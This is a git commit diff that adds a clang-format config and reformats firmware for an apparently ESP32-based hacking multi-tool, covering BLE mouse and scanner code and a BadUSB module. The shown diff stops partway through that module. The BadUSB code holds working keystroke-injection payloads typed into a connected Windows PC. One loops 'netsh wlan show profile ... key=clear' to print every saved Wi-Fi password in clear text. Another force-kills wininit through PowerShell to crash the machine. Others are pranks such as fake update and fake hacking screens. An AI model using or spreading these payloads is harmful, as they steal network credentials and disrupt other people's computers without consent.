add .clang-format, and apply formatting

27 files changed, 4276 insertions, 4051 deletions

diff --git a/.clang-format b/.clang-format
new file mode 100644
index 0000000..960bc8c
--- /dev/null
+++ b/.clang-format
@@ -0,0 +1,4 @@
+BasedOnStyle: LLVM
+IndentWidth: 4
+TabWidth: 4
+UseTab: Never
diff --git a/src/bluetooth/ble_mouse.cpp b/src/bluetooth/ble_mouse.cpp
index c757eb3..872f471 100644
--- a/src/bluetooth/ble_mouse.cpp
+++ b/src/bluetooth/ble_mouse.cpp
@@ -12,62 +12,62 @@ extern BleMouse bleMouse;
 
 // ===== MAIN =====
 void ble_mouse_run() {
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_6x10_tr);
-  u8g2.drawStr(10, 25, "BLE Mouse");
-  u8g2.drawStr(10, 45, "Connecting...");
-  u8g2.sendBuffer();
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_6x10_tr);
+    u8g2.drawStr(10, 25, "BLE Mouse");
+    u8g2.drawStr(10, 45, "Connecting...");
+    u8g2.sendBuffer();
 
-  delay(800);
+    delay(800);
 
-  while (1) {
-    // 🔥 EXIT FIRST (clean)
-    if (btnBack())
-      break;
+    while (1) {
+        // 🔥 EXIT FIRST (clean)
+        if (btnBack())
+            break;
 
-    bool connected = bleMouse.isConnected();
+        bool connected = bleMouse.isConnected();
 
-    int dx = 0;
-    int dy = 0;
+        int dx = 0;
+        int dy = 0;
 
-    if (connected) {
-      if (!digitalRead(BTN_UP))
-        dy = -6;
-      if (!digitalRead(BTN_DOWN))
-        dy = 6;
-      if (!digitalRead(BTN_LEFT))
-        dx = -6;
-      if (!digitalRead(BTN_RIGHT))
-        dx = 6;
+        if (connected) {
+            if (!digitalRead(BTN_UP))
+                dy = -6;
+            if (!digitalRead(BTN_DOWN))
+                dy = 6;
+            if (!digitalRead(BTN_LEFT))
+                dx = -6;
+            if (!digitalRead(BTN_RIGHT))
+                dx = 6;
 
-      if (dx || dy)
-        bleMouse.move(dx, dy);
+            if (dx || dy)
+                bleMouse.move(dx, dy);
 
-      // ✅ single click (not spam)
-      static bool lastSelect = false;
-      bool currentSelect = !digitalRead(BTN_SELECT);
+            // ✅ single click (not spam)
+            static bool lastSelect = false;
+            bool currentSelect = !digitalRead(BTN_SELECT);
 
-      if (currentSelect && !lastSelect)
-        bleMouse.click(MOUSE_LEFT);
+            if (currentSelect && !lastSelect)
+                bleMouse.click(MOUSE_LEFT);
 
-      lastSelect = currentSelect;
-    }
+            lastSelect = currentSelect;
+        }
 
-    // ===== UI =====
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_6x10_tr);
+        // ===== UI =====
+        u8g2.clearBuffer();
+        u8g2.setFont(u8g2_font_6x10_tr);
 
-    u8g2.drawStr(10, 20, "BLE Mouse");
+        u8g2.drawStr(10, 20, "BLE Mouse");
 
-    if (connected)
-      u8g2.drawStr(10, 35, "Connected");
-    else
-      u8g2.drawStr(10, 35, "Waiting");
+        if (connected)
+            u8g2.drawStr(10, 35, "Connected");
+        else
+            u8g2.drawStr(10, 35, "Waiting");
 
-    u8g2.drawStr(10, 55, "BACK = Exit");
+        u8g2.drawStr(10, 55, "BACK = Exit");
 
-    u8g2.sendBuffer();
+        u8g2.sendBuffer();
 
-    delay(10); // important for BLE stability
-  }
+        delay(10); // important for BLE stability
+    }
 }
diff --git a/src/bluetooth/blescanner.cpp b/src/bluetooth/blescanner.cpp
index 8019181..682f5f2 100644
--- a/src/bluetooth/blescanner.cpp
+++ b/src/bluetooth/blescanner.cpp
@@ -10,11 +10,11 @@
 
 // ===== DEVICE STRUCT =====
 struct BLEDeviceInfo {
-  String name;
-  String address;
-  int rssi;
-  String manufacturer;
-  String deviceType;
+    String name;
+    String address;
+    int rssi;
+    String manufacturer;
+    String deviceType;
 };
 
 static std::vector<BLEDeviceInfo> devices;
@@ -23,168 +23,170 @@ static int selectedIndex = 0;
 
 // ===== CALLBACK =====
 class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
-  void onResult(BLEAdvertisedDevice advertisedDevice) override {
-    BLEDeviceInfo dev;
-
-    String tempName = advertisedDevice.getName().c_str();
-
-    if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
-      tempName = advertisedDevice.getServiceData().c_str();
-    }
-
-    if (tempName.length() == 0) {
-      String addr = advertisedDevice.getAddress().toString().c_str();
-      tempName = "BLE_" + addr.substring(addr.length() - 5);
-    }
-
-    dev.name = tempName;
-    dev.address = advertisedDevice.getAddress().toString().c_str();
-    dev.rssi = advertisedDevice.getRSSI();
-
-    if (advertisedDevice.haveManufacturerData()) {
-      String mData = advertisedDevice.getManufacturerData().c_str();
-
-      if (mData.length() >= 2) {
-        char buffer[10];
-        sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
-        dev.manufacturer = String(buffer);
-      } else {
-        dev.manufacturer = "unknown";
-      }
-    } else {
-      dev.manufacturer = "unknown";
+    void onResult(BLEAdvertisedDevice advertisedDevice) override {
+        BLEDeviceInfo dev;
+
+        String tempName = advertisedDevice.getName().c_str();
+
+        if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
+            tempName = advertisedDevice.getServiceData().c_str();
+        }
+
+        if (tempName.length() == 0) {
+            String addr = advertisedDevice.getAddress().toString().c_str();
+            tempName = "BLE_" + addr.substring(addr.length() - 5);
+        }
+
+        dev.name = tempName;
+        dev.address = advertisedDevice.getAddress().toString().c_str();
+        dev.rssi = advertisedDevice.getRSSI();
+
+        if (advertisedDevice.haveManufacturerData()) {
+            String mData = advertisedDevice.getManufacturerData().c_str();
+
+            if (mData.length() >= 2) {
+                char buffer[10];
+                sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1],
+                        (uint8_t)mData[0]);
+                dev.manufacturer = String(buffer);
+            } else {
+                dev.manufacturer = "unknown";
+            }
+        } else {
+            dev.manufacturer = "unknown";
+        }
+
+        if (advertisedDevice.haveServiceUUID()) {
+            dev.deviceType =
+                advertisedDevice.getServiceUUID().toString().c_str();
+        } else {
+            dev.deviceType = "unknown";
+        }
+
+        devices.push_back(dev);
     }
-
-    if (advertisedDevice.haveServiceUUID()) {
-      dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
-    } else {
-      dev.deviceType = "unknown";
-    }
-
-    devices.push_back(dev);
-  }
 };
 
 // ===== DRAW MENU =====
 void ble_drawMenu() {
-  u8g2.clearBuffer();
+    u8g2.clearBuffer();
 
-  if (devices.empty()) {
-    u8g2.setFont(u8g2_font_6x12_tr);
-    u8g2.drawStr(0, 30, "No devices");
-    u8g2.drawStr(0, 45, "Press BACK");
-  } else {
-    u8g2.setFont(u8g2_font_5x8_tr);
+    if (devices.empty()) {
+        u8g2.setFont(u8g2_font_6x12_tr);
+        u8g2.drawStr(0, 30, "No devices");
+        u8g2.drawStr(0, 45, "Press BACK");
+    } else {
+        u8g2.setFont(u8g2_font_5x8_tr);
 
-    char counter[20];
-    sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
-    u8g2.drawStr(0, 8, counter);
+        char counter[20];
+        sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
+        u8g2.drawStr(0, 8, counter);
 
-    u8g2.setFont(u8g2_font_6x10_tr);
+        u8g2.setFont(u8g2_font_6x10_tr);
 
-    for (int i = 0; i < 3; i++) {
-      int idx = selectedIndex + i;
-      if (idx >= devices.size())
-        break;
+        for (int i = 0; i < 3; i++) {
+            int idx = selectedIndex + i;
+            if (idx >= devices.size())
+                break;
 
-      int y = 22 + i * 14;
+            int y = 22 + i * 14;
 
-      if (i == 0) {
-        u8g2.drawBox(0, y - 10, 128, 12);
-        u8g2.setDrawColor(0);
-      }
+            if (i == 0) {
+                u8g2.drawBox(0, y - 10, 128, 12);
+                u8g2.setDrawColor(0);
+            }
 
-      String text = devices[idx].name;
-      if (text.length() > 12)
-        text = text.substring(0, 12) + "..";
+            String text = devices[idx].name;
+            if (text.length() > 12)
+                text = text.substring(0, 12) + "..";
 
-      text += " (" + String(devices[idx].rssi) + ")";
+            text += " (" + String(devices[idx].rssi) + ")";
 
-      u8g2.drawStr(2, y, text.c_str());
+            u8g2.drawStr(2, y, text.c_str());
 
-      if (i == 0)
-        u8g2.setDrawColor(1);
+            if (i == 0)
+                u8g2.setDrawColor(1);
+        }
     }
-  }
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 // ===== DEVICE DETAILS =====
 void ble_drawDetails(const BLEDeviceInfo &dev) {
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_5x8_tr);
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_5x8_tr);
 
-  u8g2.drawStr(0, 10, dev.name.c_str());
-  u8g2.drawStr(0, 20, dev.address.c_str());
+    u8g2.drawStr(0, 10, dev.name.c_str());
+    u8g2.drawStr(0, 20, dev.address.c_str());
 
-  char rssiStr[20];
-  sprintf(rssiStr, "RSSI: %d", dev.rssi);
-  u8g2.drawStr(0, 30, rssiStr);
+    char rssiStr[20];
+    sprintf(rssiStr, "RSSI: %d", dev.rssi);
+    u8g2.drawStr(0, 30, rssiStr);
 
-  u8g2.drawStr(0, 40, dev.manufacturer.c_str());
+    u8g2.drawStr(0, 40, dev.manufacturer.c_str());
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 // ===== SCAN =====
 void ble_scan() {
-  devices.clear();
-
-  u8g2.clearBuffer();
-  u8g2.drawStr(10, 30, "Scanning...");
-  u8g2.sendBuffer();
-
-  BLEDevice::init("");
-
-  pBLEScan = BLEDevice::getScan();
-  pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
-                                         false);
-  pBLEScan->setActiveScan(true);
-  pBLEScan->setInterval(100);
-  pBLEScan->setWindow(99);
-
-  pBLEScan->start(5, false);
-
-  // remove duplicates
-  std::vector<BLEDeviceInfo> unique;
-  for (auto &d : devices) {
-    bool exists = false;
-    for (auto &u : unique) {
-      if (u.address == d.address) {
-        exists = true;
-        break;
-      }
+    devices.clear();
+
+    u8g2.clearBuffer();
+    u8g2.drawStr(10, 30, "Scanning...");
+    u8g2.sendBuffer();
+
+    BLEDevice::init("");
+
+    pBLEScan = BLEDevice::getScan();
+    pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
+                                           false);
+    pBLEScan->setActiveScan(true);
+    pBLEScan->setInterval(100);
+    pBLEScan->setWindow(99);
+
+    pBLEScan->start(5, false);
+
+    // remove duplicates
+    std::vector<BLEDeviceInfo> unique;
+    for (auto &d : devices) {
+        bool exists = false;
+        for (auto &u : unique) {
+            if (u.address == d.address) {
+                exists = true;
+                break;
+            }
+        }
+        if (!exists)
+            unique.push_back(d);
     }
-    if (!exists)
-      unique.push_back(d);
-  }
 
-  devices = unique;
+    devices = unique;
 }
 
 // ===== MAIN LOOP =====
 void ble_loop() {
-  static uint32_t lastPress = 0;
-
-  if (millis() - lastPress < 200)
-    return;
-
-  if (btnDown() && selectedIndex < (int)devices.size() - 1) {
-    selectedIndex++;
-    ble_drawMenu();
-    lastPress = millis();
-  } else if (btnUp() && selectedIndex > 0) {
-    selectedIndex--;
-    ble_drawMenu();
-    lastPress = millis();
-  } else if (btnSelect() && !devices.empty()) {
-    ble_drawDetails(devices[selectedIndex]);
-    delay(3000);
-    ble_drawMenu();
-    lastPress = millis();
-  } else if (btnBack()) {
-    lastPress = millis();
-    return;
-  }
+    static uint32_t lastPress = 0;
+
+    if (millis() - lastPress < 200)
+        return;
+
+    if (btnDown() && selectedIndex < (int)devices.size() - 1) {
+        selectedIndex++;
+        ble_drawMenu();
+        lastPress = millis();
+    } else if (btnUp() && selectedIndex > 0) {
+        selectedIndex--;
+        ble_drawMenu();
+        lastPress = millis();
+    } else if (btnSelect() && !devices.empty()) {
+        ble_drawDetails(devices[selectedIndex]);
+        delay(3000);
+        ble_drawMenu();
+        lastPress = millis();
+    } else if (btnBack()) {
+        lastPress = millis();
+        return;
+    }
 }
diff --git a/src/config.h b/src/config.h
index d5f46a6..08c0e68 100644
--- a/src/config.h
+++ b/src/config.h
@@ -27,11 +27,10 @@
 #define CC1101_GDO2 42
 
 // SD Card via HSPI
-//#define SD_SCK 14
-//#define SD_MISO 39
-//#define SD_MOSI 38
-//#define SD_CS 37
-
+// #define SD_SCK 14
+// #define SD_MISO 39
+// #define SD_MOSI 38
+// #define SD_CS 37
 
 // =================== Buttons ====================
 #define BTN_UP 4
diff --git a/src/hid/badusb.cpp b/src/hid/badusb.cpp
index 71010bb..eb21a19 100644
--- a/src/hid/badusb.cpp
+++ b/src/hid/badusb.cpp
@@ -5,417 +5,442 @@
 extern USBHIDKeyboard Keyboard;
 
 void runCommand(const char *command) {
-  Keyboard.press(KEY_LEFT_GUI);
-  Keyboard.press('r');
-  delay(100);
-  Keyboard.releaseAll();
-  delay(300);
-  Keyboard.print(command);
-  Keyboard.write(KEY_RETURN);
+    Keyboard.press(KEY_LEFT_GUI);
+    Keyboard.press('r');
+    delay(100);
+    Keyboard.releaseAll();
+    delay(300);
+    Keyboard.print(command);
+    Keyboard.write(KEY_RETURN);
 }
 
 void showRunningScreen(String taskName, uint8_t duration = 5) {
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_6x12_tf);
-  u8g2.drawStr(0, 15, "Running:");
-  u8g2.drawStr(0, 30, taskName.c_str());
-  u8g2.drawFrame(0, 45, 128, 10);
-
-  static const unsigned char image_download_bits[] U8X8_PROGMEM = {
-      0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
-      0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
-      0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
-      0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
-      0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
-      0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-      0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
-      0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
-      0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
-      0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
-      0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
-  static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
-      0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
-      0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
-      0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
-      0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
-      0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
-      0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
-
-  u8g2.setFontMode(1);
-  u8g2.setBitmapMode(1);
-  // download
-  u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
-
-  // EviSmile1
-  u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
-
-  for (uint8_t i = 0; i <= duration; i++) {
-    u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
-    u8g2.sendBuffer();
-    delay(50);
-  }
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_6x12_tf);
+    u8g2.drawStr(0, 15, "Running:");
+    u8g2.drawStr(0, 30, taskName.c_str());
+    u8g2.drawFrame(0, 45, 128, 10);
+
+    static const unsigned char image_download_bits[] U8X8_PROGMEM = {
+        0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
+        0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
+        0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
+        0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
+        0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
+        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+        0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
+        0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
+        0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
+        0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
+    static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
+        0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
+        0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
+        0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
+        0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
+        0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
+        0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
+
+    u8g2.setFontMode(1);
+    u8g2.setBitmapMode(1);
+    // download
+    u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
+
+    // EviSmile1
+    u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
+
+    for (uint8_t i = 0; i <= duration; i++) {
+        u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
+        u8g2.sendBuffer();
+        delay(50);
+    }
 }
 
 void typeSlow(const char *text, int delayMs = 25) {
-  while (*text) {
-    Keyboard.print(*text);
-    delay(delayMs);
-    text++;
-  }
+    while (*text) {
+        Keyboard.print(*text);
+        delay(delayMs);
+        text++;
+    }
 }
 
 void badUSBMenu(int index) {
-  // switch (index)
-  //        {
-  //            case 0:
-  //                runBadUSBDemo();
-  //                break;
+    // switch (index)
+    //        {
+    //            case 0:
+    //                runBadUSBDemo();
+    //                break;
 
-  //           case 1:
-  //               Serial.println("Open CMD payload");
-  //               runBadUSBOpenCMD();
-  //               break;
+    //           case 1:
+    //               Serial.println("Open CMD payload");
+    //               runBadUSBOpenCMD();
+    //               break;
 
-  //           case 2:
-  //               Serial.println("Rickroll payload");
-  //               runBadUSBRickroll();
-  //               break;
-  //       }
+    //           case 2:
+    //               Serial.println("Rickroll payload");
+    //               runBadUSBRickroll();
+    //               break;
+    //       }
 
-  switch (index) {
-  // ================= ORION DEMO =================
-  case 0:
-    showRunningScreen("ORION Demo");
+    switch (index) {
+    // ================= ORION DEMO =================
+    case 0:
+        showRunningScreen("ORION Demo");
 
-    runCommand("notepad");
+        runCommand("notepad");
 
-    delay(2500);
+        delay(2500);
 
-    typeSlow("  ____  _____  _____ ___ ___  _   _       ____  _____ ");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("  ____  _____  _____ ___ ___  _   _       ____  _____ ");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow(" / __ \\|  __ \\|_   _|_ _/ _ \\| \\ | |     |  _ \\|  ___|");
-    Keyboard.write(KEY_RETURN);
+        typeSlow(" / __ \\|  __ \\|_   _|_ _/ _ \\| \\ | |     |  _ \\|  ___|");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("| |  | | |__) | | |  | | | | |  \\| |_____| |_) | |_   ");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("| |  | | |__) | | |  | | | | |  \\| |_____| |_) | |_   ");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("| |  | |  _  /  | |  | | | | | . ` |_____|  _ <|  _|  ");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("| |  | |  _  /  | |  | | | | | . ` |_____|  _ <|  _|  ");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\  |     | |_) | |    ");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\  |     | |_) | |    ");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow(" \\____/|_|  \\_\\_____|___\\___/|_| \\_|     |____/|_|    ");
-    Keyboard.write(KEY_RETURN);
+        typeSlow(" \\____/|_|  \\_\\_____|___\\___/|_| \\_|     |____/|_|    ");
+        Keyboard.write(KEY_RETURN);
 
-    Keyboard.write(KEY_RETURN);
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("[+] WIFI MODULE READY");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("[+] WIFI MODULE READY");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("[+] BLE MODULE READY");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("[+] BLE MODULE READY");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("[+] SUBGHZ MODULE READY");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("[+] SUBGHZ MODULE READY");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("[+] NFC MODULE READY");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("[+] NFC MODULE READY");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("[+] HID ENGINE READY");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("[+] HID ENGINE READY");
+        Keyboard.write(KEY_RETURN);
 
-    break;
+        break;
 
-  // ================= RICKROLL =================
-  case 1:
-    showRunningScreen("RickRoll");
+    // ================= RICKROLL =================
+    case 1:
+        showRunningScreen("RickRoll");
 
-    runCommand("cmd");
+        runCommand("cmd");
 
-    delay(700);
+        delay(700);
 
-    typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
+        Keyboard.write(KEY_RETURN);
 
-    break;
+        break;
 
-  // ================= MATRIX =================
-  case 2:
-    showRunningScreen("Matrix");
+    // ================= MATRIX =================
+    case 2:
+        showRunningScreen("Matrix");
 
-    runCommand("cmd");
+        runCommand("cmd");
 
-    delay(700);
+        delay(700);
 
-    typeSlow("color 0A");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("color 0A");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("mode con: cols=120 lines=40");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("mode con: cols=120 lines=40");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow(":A");
-    Keyboard.write(KEY_RETURN);
+        typeSlow(":A");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("echo %random%%random%%random%%random%%random%");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("echo %random%%random%%random%%random%%random%");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("goto A");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("goto A");
+        Keyboard.write(KEY_RETURN);
 
-    break;
+        break;
 
-  // ================= FAKE TERMINAL =================
-  case 3:
-    showRunningScreen("Fake Terminal");
+    // ================= FAKE TERMINAL =================
+    case 3:
+        showRunningScreen("Fake Terminal");
 
-    runCommand("cmd");
+        runCommand("cmd");
 
-    delay(700);
+        delay(700);
 
-    typeSlow("color 0A");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("color 0A");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("cls");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("cls");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("echo CONNECTING TO TARGET...");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("echo CONNECTING TO TARGET...");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("echo BYPASSING FIREWALL...");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("echo BYPASSING FIREWALL...");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("echo ACCESS GRANTED");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("echo ACCESS GRANTED");
+        Keyboard.write(KEY_RETURN);
 
-    typeSlow("systeminfo");
-    Keyboard.write(KEY_RETURN);
+        typeSlow("systeminfo");
+        Keyboard.write(KEY_RETURN);
 
-    break;
+        break;
 
-    // ================= WIFI CRACK =================
-    // ================= WIFI PASSWORD RECOVERY =================
-  case 4:
-    showRunningScreen("WiFi Recovery");
+        // ================= WIFI CRACK =================
+        // ================= WIFI PASSWORD RECOVERY =================
+    case 4:
+        showRunningScreen("WiFi Recovery");
 
-    runCommand("cmd");
-    delay(700);
+        runCommand("cmd");
+        delay(700);
 
-    // Styling the window
-    typeSlow("color 0A && mode con: cols=100 lines=30");
-    Keyboard.write(KEY_RETURN);
-    delay(200);
+        // Styling the window
+        typeSlow("color 0A && mode con: cols=100 lines=30");
+        Keyboard.write(KEY_RETURN);
+        delay(200);
 
-    typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
-    Keyboard.write(KEY_RETURN);
-    delay(500);
+        typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
+        Keyboard.write(KEY_RETURN);
+        delay(500);
 
-    // The "Magic" Command:
-    // This lists all profiles and shows the 'Key Content' (the password) in
-    // clear text. We use a 'for' loop to automate this for every network the PC
-    // has ever joined.
-    typeSlow(
-        "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
-        "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
-        "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
+        // The "Magic" Command:
+        // This lists all profiles and shows the 'Key Content' (the password) in
+        // clear text. We use a 'for' loop to automate this for every network
+        // the PC has ever joined.
+        typeSlow(
+            "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
+            "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
+            "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
 
-    Keyboard.write(KEY_RETURN);
+        Keyboard.write(KEY_RETURN);
 
-    // Optional: Keep the window open to read the results
-    typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
-    Keyboard.write(KEY_RETURN);
-
-    break;
-
-  // ================= FAKE UPDATE =================
-  case 5:
-    showRunningScreen("Fake Update");
-
-    runCommand("cmd");
-
-    delay(700);
-
-    typeSlow("start https://fakeupdate.net/win10u/");
-    Keyboard.write(KEY_RETURN);
-
-    break;
+        // Optional: Keep the window open to read the results
+        typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
+        Keyboard.write(KEY_RETURN);
 
-  // ================= FAKE BSOD =================
-  case 6:
-    showRunningScreen("Critical Error");
+        break;
 
-    runCommand("powershell -c \"stop-process -name wininit -force\"");
-    break;
+    // ================= FAKE UPDATE =================
+    case 5:
+        showRunningScreen("Fake Update");
 
-  // ================= GLITCH SCREEN =================
-  case 7:
-    showRunningScreen("Glitch");
+        runCommand("cmd");
 
-    runCommand("cmd");
+        delay(700);
 
-    delay(700);
+        typeSlow("start https://fakeupdate.net/win10u/");
+        Keyboard.write(KEY_RETURN);
 
-    for (int i = 0; i < 20; i++) {
-      typeSlow("color 4F");
-      Keyboard.write(KEY_RETURN);
+        break;
 
-      typeSlow("color 1F");
-      Keyboard.write(KEY_RETURN);
+    // ================= FAKE BSOD =================
+    case 6:
+        showRunningScreen("Critical Error");
 
-      typeSlow("cls");
-      Keyboard.write(KEY_RETURN);
-    }
+        runCommand("powershell -c \"stop-process -name wininit -force\"");
+        break;
 
-    break;
+    // ================= GLITCH SCREEN =================
+    case 7:
+        showRunningScreen("Glitch");
 
-  // ================= ASCII SPAM =================
-  case 8:
-    showRunningScreen("ASCII");
+        runCommand("cmd");
 
-    runCommand("notepad");
+        delay(700);
 
-    delay(2000);
+        for (int i = 0; i < 20; i++) {
+            typeSlow("color 4F");
+            Keyboard.write(KEY_RETURN);
 
-    for (int i = 0; i < 15; i++) {
-      typeSlow("######### ORION-RF #########");
-      Keyboard.write(KEY_RETURN);
+            typeSlow("color 1F");
+            Keyboard.write(KEY_RETURN);
 
-      typeSlow(">>> SIGNAL ACQUIRED <<<");
-      Keyboard.write(KEY_RETURN);
+            typeSlow("cls");
+            Keyboard.write(KEY_RETURN);
+        }
 
-      typeSlow("[|||||||||||||||||||||||||]");
-      Keyboard.write(KEY_RETURN);
+        break;
 
-      Keyboard.write(KEY_RETURN);
+    // ================= ASCII SPAM =================
+    case 8:
+        showRunningScreen("ASCII");
+
+        runCommand("notepad");
+
+        delay(2000);
+
